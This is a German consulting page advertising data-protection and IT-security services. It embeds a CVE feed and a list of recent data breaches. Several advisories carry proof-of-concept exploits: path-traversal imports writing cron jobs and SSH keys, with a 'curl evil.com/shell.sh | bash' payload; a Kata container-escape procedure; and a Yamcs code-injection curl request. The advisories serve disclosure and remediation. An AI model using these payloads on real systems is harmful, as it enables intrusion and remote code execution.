Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.
Wir unterstützen Sie gerne! »

  Unsere Leistungen

Datenschutzberatung durch geprüften DSB
Umsetzung von IT-Richtlinien / Gesetzen
Analyse & Beratung zur IT-Sicherheit
Erstellung von Dokumentationen



Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
Risiko / Label Veröffentlichung
Risiko ? / 10 CVE-2026-9739 vor 8 Stunde(n)
Risiko 5.3 / 10 CVE-2026-46544 vor 8 Stunde(n)
Risiko 5.9 / 10 CVE-2026-46538 vor 8 Stunde(n)
Risiko 6.3 / 10 CVE-2026-46416 vor 8 Stunde(n)
Risiko 8.8 / 10 CVE-2026-46414 vor 8 Stunde(n)
Risiko 8.1 / 10 CVE-2026-46402 vor 8 Stunde(n)
Risiko 7.8 / 10 CVE-2026-45322 vor 8 Stunde(n)
Risiko 7.5 / 10 CVE-2026-45725 vor 6 Stunde(n)
## Summary The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem. **Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.) ## Affected Component **Repository:** https://github.com/IBM/compliance-trestle **File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) **Version:** v4.0.2 (latest as of 2026-04-30) ## Vulnerable Code ### cache.py:259-266 — HTTPSFetcher cache path construction ```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) # ... if u.hostname is None: raise TrestleError(f'Cache request for {self._uri} requires hostname') https_cached_dir = self._trestle_cache_path / u.hostname # ❌ path_parent preserves ../ sequences from URL path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ``` ### cache.py:285-295 — Content written to traversed path ```python def _do_fetch(self) -> None: # ... response = requests.get(self._url, auth=auth, verify=verify, timeout=30) if response.status_code == 200: result = response.text # ❌ Attacker-controlled content self._cached_object_path.write_text(result) # ❌ Written to arbitrary path ``` ### cache.py:328-333 — SFTPFetcher (identical pattern) ```python class SFTPFetcher(FetcherBase): def __init__(self, ...): # Identical path construction — same vulnerability sftp_cached_dir = self._trestle_cache_path / u.hostname path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent sftp_cached_dir = sftp_cached_dir / path_parent sftp_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ``` **Root Cause:** 1. `urlparse("https://evil.com/../../../tmp/pwned.json").path` = `/../../../tmp/pwned.json` — preserves `../` 2. `pathlib.Path(u.path).parent` preserves traversal sequences 3. `cache_dir / hostname / "../../../../../../tmp"` resolves outside cache 4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories 5. `write_text(response.text)` writes attacker-controlled content to traversed path 6. **No `is_relative_to()` boundary check** on the resolved path ## Steps to Reproduce ### Prerequisites ```bash pip install compliance-trestle==4.0.2 ``` ### PoC: Malicious OSCAL Profile ```yaml # malicious_profile.yaml — arbitrary file write via cache traversal profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json" ``` ### PoC: Cache Path Traversal Simulation ```python #!/usr/bin/env python3 """PoC: Cache path traversal → arbitrary file write""" import os, re, tempfile, shutil from pathlib import Path from urllib.parse import urlparse # Simulate trestle cache behavior (cache.py:259-266) trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_")) cache_dir = trestle_root / ".trestle" / ".cache" cache_dir.mkdir(parents=True, exist_ok=True) evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json" u = urlparse(evil_url) # Exact trestle code path cached_dir = cache_dir / u.hostname m = re.search(r'[^/\\\\]', u.path) path_parent = Path(u.path[m.span()[0]:]).parent cached_dir = cached_dir / path_parent cached_dir.mkdir(parents=True, exist_ok=True) cached_file = cached_dir / Path(Path(u.path).name) print(f"Cache dir: {cache_dir}") print(f"Resolved write target: {cached_file.resolve()}") # Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory! # Write attacker content attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"' cached_file.write_text(attacker_payload) print(f"Written: {cached_file.resolve().read_text()}") # Cleanup os.remove(str(cached_file.resolve())) shutil.rmtree(str(trestle_root)) ``` **Expected:** Write confined to `.trestle/.cache/` directory **Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location) ## Remediation ### Fix for HTTPSFetcher (cache.py:259-266): ```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) https_cached_dir = self._trestle_cache_path / u.hostname # ✅ Sanitize path: remove traversal sequences safe_path = pathlib.PurePosixPath(u.path).parts safe_path = [p for p in safe_path if p != '..' and p != '/'] path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.') https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = https_cached_dir / safe_path[-1] # ✅ Boundary check if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()): raise TrestleError( f"Cache path traversal blocked: URL '{uri}' resolves to " f"'{self._cached_object_path.resolve()}' outside cache directory" ) ``` Same fix required for SFTPFetcher at lines 328-333. ## References - **CWE-22:** https://cwe.mitre.org/data/definitions/22.html - **CWE-73:** https://cwe.mitre.org/data/definitions/73.html - **compliance-trestle:** https://github.com/IBM/compliance-trestle ## Impact ### 1. Cron Job Injection → Remote Code Execution ```yaml # Profile that writes a cron job imports: - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor" ``` Attacker's server responds with: ``` * * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash' ``` ### 2. SSH Authorized Keys Injection ```yaml imports: - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys" ``` Attacker's server responds with their SSH public key. ### 3. Config File Overwrite ```yaml imports: - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf" ``` ### 4. Python Path Hijacking Write malicious `.py` file to a location on `sys.path` for code execution on next import.
Risiko 7.5 / 10 CVE-2026-47717 vor 6 Stunde(n)
### Summary The GET /api/project endpoint exposes sensitive project configuration data to guest-context requests even when secureEnabled is enabled. ### Details File: `server/api/projects/index.js` ```javascript prjApp.get("/api/project", secureFnc, function(req, res) { const permission = checkGroupsFnc(req); runtime.project.getProject(req.userId, permission).then(result => { if (result) { res.json(result); } }); }); ``` The endpoint uses the `secureFnc` middleware, but this middleware calls `verifyToken` in `server/api/jwt-helper.js` which auto-generates a valid guest JWT when no token is provided (line 49-51): ```javascript if (!token) { token = getGuestToken(); } ``` The guest token is signed with the server's secret and passes verification. The handler then calls `getProject` which returns the full project data. The `_filterProjectPermission` function (line 924 of `server/runtime/project/index.js`) filters some UI elements for non-admin users, but it does not remove scripts, devices, alarms, or other sensitive configuration data. ### PoC **Environment** - FUXA v1.3.0-2773 (`frangoteam/fuxa:latest`) - `secureEnabled: true` with a random `secretCode` **Retrieve full project data without authentication:** ```bash curl -s http://192.168.32.129:1881/api/project ``` ```json { "scripts": [ { "id": "SCRIPT_ID", "name": "calculate" }, ] } ``` No authentication token, API key, or cookie was provided. The response includes: - **Server-side scripts**: full source code, IDs, names, execution mode, and permission levels. This reveals internal automation logic and sensitive project structure information that could assist further attacks against the deployed system. - **Device configurations**: and communication endpoint information may also be exposed depending on the deployed project configuration. - **HMI views**: the full SVG content and layout of every operator screen, including variable bindings that map UI elements to device tags. - **Alarm definitions**: alarm thresholds, conditions, and notification settings when configured. ### Impact The endpoint may expose sensitive project configuration data including script metadata, device connection information, HMI configuration, and alarm definitions. In industrial environments this information can assist further targeted attacks against the deployed system.
Risiko 7.5 / 10 CVE-2026-47243 vor 6 Stunde(n)
### Summary In the runtime-rs standalone virtio-fs path, verified here with QEMU (and verified with Cloud Hypervisor too), Kata Containers runs host `virtiofsd` as root with: ``` --sandbox none --seccomp none ``` If an attacker has root-equivalent execution inside the Kata guest VM, they can send raw FUSE requests directly to the host `virtiofsd`. With the tested runtime-rs virtio-fs configuration, a raw `FUSE_SYMLINK` request whose new symlink name is an absolute host path is honored outside the virtio-fs shared directory. This lets guest root create host-root owned symlinks in sensitive host paths. The PoC created here will create symlinks in the host `/etc/cron.d` directory, causing host cron to execute a guest-controlled payload as host root. Impact: guest root can execute code as host root. ### Affected configuration The verified host used: ``` /opt/kata/share/defaults/kata-containers/runtime-rs/configuration-qemu-runtime-rs.toml rootless = false shared_fs = "virtio-fs" virtio_fs_daemon = "/opt/kata/libexec/virtiofsd" hypervisor_name = "qemu" debug_console_enabled = false ``` Pinned upstream references, using Kata Containers `main` commit `2ffd1538a296cff93a357bfba0dfca747480a1f8`: - runtime-rs standalone virtio-fs adds [`--sandbox none --seccomp none`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/crates/resource/src/share_fs/share_virtio_fs_standalone.rs#L82-L92) to the `virtiofsd` command line. - runtime-rs QEMU leaves rootless mode disabled by default: [`rootless = false`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/config/configuration-qemu-runtime-rs.toml.in#L31-L34). - The QEMU runtime-rs config template generates an installed config that uses standalone virtio-fs and points runtime-rs at the host `virtiofsd` binary: [`shared_fs` and `virtio_fs_daemon`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/config/configuration-qemu-runtime-rs.toml.in#L164-L171). - The runtime-rs Makefile resolves those placeholders to [`virtio-fs`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/Makefile#L496-L499) and [`$(LIBEXECDIR)/virtiofsd`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/Makefile#L184-L190). - runtime-rs selects the same standalone virtio-fs implementation whenever `shared_fs = "virtio-fs"`: [`ShareVirtioFsStandalone`](https://github.com/kata-containers/kata-containers/blob/2ffd1538a296cff93a357bfba0dfca747480a1f8/src/runtime-rs/crates/resource/src/share_fs/mod.rs#L158-L167). ### Details The guest kernel normally owns the virtio-fs client. A normal guest process will use filesystem syscalls, and the guest kernel will validate the paths, and only then does the kernel send FUSE messages to the host backend. An attacker with root-equivalent access inside the guest can bypass that guest virtio-fs client. They can access the virtio-fs PCI device, mmap the virtio PCI BAR, recover guest physical addresses from `/proc/self/pagemap`, and build their own virtqueue from userspace. That queue can submit attacker-built FUSE messages directly to host `virtiofsd`. The relevant primitive is `FUSE_SYMLINK`. An attacker can send a request whose body contains: ``` new symlink name: /etc/cron.d/kata-go-escape-cron- symlink target: /proc//root/run/kata-containers/shared/sandboxes//ro/passthrough//rootfs/tmp/kata-go-escape-payload ``` The new symlink name is an absolute host path. `virtiofsd` should reject that request or force it to resolve below the configured `--shared-dir`. In the tested runtime-rs path, host-root unsandboxed `virtiofsd` accepts the absolute name, creating a real host symlink under `/etc/cron.d`. The attacker can make the symlink target resolve through `/proc//root/...` for a live Kata runtime process whose mount namespace can see the guest-created payload. One matching runtime PID is enough. When the host cron reads `/etc/cron.d`, it follows the root-owned symlink, loads the guest-created crontab payload, and executes it as host root. ### PoC ```shell sudo timeout --foreground --kill-after=10s 600s ctr run --rm \ --runtime /opt/kata/runtime-rs/bin/containerd-shim-kata-v2 \ --runtime-config-path /opt/kata/share/defaults/kata-containers/runtime-rs/configuration-qemu-runtime-rs.toml \ --privileged \ --privileged-without-host-devices \ docker.io/library/kata-go-escape:local \ "$run_id" ``` The container is privileged only to model the post-escape condition where the attacker already has guest-root capabilities. It is not the vulnerability by itself. Inside the guest, the PoC: 1. Writes a cron payload to guest `/tmp/kata-go-escape-payload`. 2. Finds the virtio-fs PCI device in guest /sys. 3. Takes over a virtio-fs queue from userspace. 4. Sends `FUSE_INIT`. 5. Discovers the current runtime-rs sandbox under `passthrough/`. 6. Looks up `passthrough//rootfs/tmp/kata-go-escape-payload`. 7. Sends raw `FUSE_SYMLINK` requests where the new symlink names are absolute host paths under `/etc/cron.d`. 8. Keeps the guest alive while host cron scans. Example log lines: ``` [guest] virtio-fs PCI device: /sys/devices/pci0000:00/0000:00:05.0 [res] sandbox_id=kata-go-escape-test-1778522686-1539 [res] lookup_path_error=0 path=passthrough/kata-go-escape-test-1778522686-1539/rootfs/tmp/kata-go-escape-payload nodeid=21 [spray] pid=1 err=-2 created_candidates=1 ``` `err=-2` is expected for the symlink spray. `virtiofsd` can return `ENOENT` after the side effect because its follow-up lookup is still relative to the export root. The host symlink creation has already happened. ### Impact The PoC proves guest-root to host-root command execution. Verified host proof: ``` /run/kata-go-escape.proof uid=0(root) gid=0(root) groups=0(root) Mon May 11 18:05:01 UTC 2026 ``` The proof file is written in host `/run` by host cron. It is not written by the guest process and not written by `virtiofsd`. An attacker who reaches guest root can therefore cross the Kata isolation boundary and execute commands as host root on affected runtime-rs virtio-fs deployments.
Risiko 9.5 / 10 CVE-2026-46621 vor 6 Stunde(n)
### Summary A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system. ### Details The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands. ### PoC **Prerequisites:** 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included). 2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.* **Exploitation Steps:** 1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell). ```bash curl -i -X PATCH http://:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer ' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https:///RCE\"])\nout0.value = 1.0" } }' ``` *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).* 2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`). 3. The Yamcs server compiles the injected text into an executable script on the fly. 4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL. ### Impact It impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure. ### Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
Risiko 5 / 10 CVE-2026-31246 vor 16 Tag(en)
GPT-Pilot thru commit 0819827ce20346ef5f25b3fe29293cb448840565 (2025-09-03) contains a command injection vulnerability (CWE-78) in the Executor.run() method. During project execution, when the system prompts the user to confirm or modify a command to be run, it accepts free-text input without proper validation. The user-supplied input is directly passed to asyncio.create_subprocess_shell() for execution. This allows an attacker to replace the intended command with arbitrary shell commands, leading to remote code execution with the privileges of the GPT-Pilot process.
Risiko 8 / 10 CVE-2026-4802 vor 16 Tag(en)

Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.


Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.

05.05.2026 - Cushman & Wakefield 310.431 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations

In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
30.04.2026 - Reborn Gaming 126 Datensätze geleaked
Email addresses, IP addresses

In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
28.04.2026 - Vimeo 119.167 Datensätze geleaked
Email addresses, Names

In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
26.04.2026 - CTT 468.124 Datensätze geleaked
Email addresses, Names, Phone numbers

In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
24.04.2026 - Udemy 1.401.259 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses

In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
20.04.2026 - ADT 5.488.888 Datensätze geleaked
Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses

In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
20.04.2026 - Aman 215.563 Datensätze geleaked
Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses

In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
20.04.2026 - Canada Life 237.810 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets

In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data.
20.04.2026 - Pitney Bowes 8.243.989 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
18.04.2026 - Carnival 7.531.359 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations

In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
15.04.2026 - Zara 197.376 Datensätze geleaked
Email addresses, Geographic locations, Purchases, Support tickets

In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information.
14.04.2026 - Abrigo 711.099 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
12.04.2026 - Marcus & Millichap 1.837.078 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
12.04.2026 - Mytheresa 84.108 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations

In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
10.04.2026 - McGraw Hill 13.500.136 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

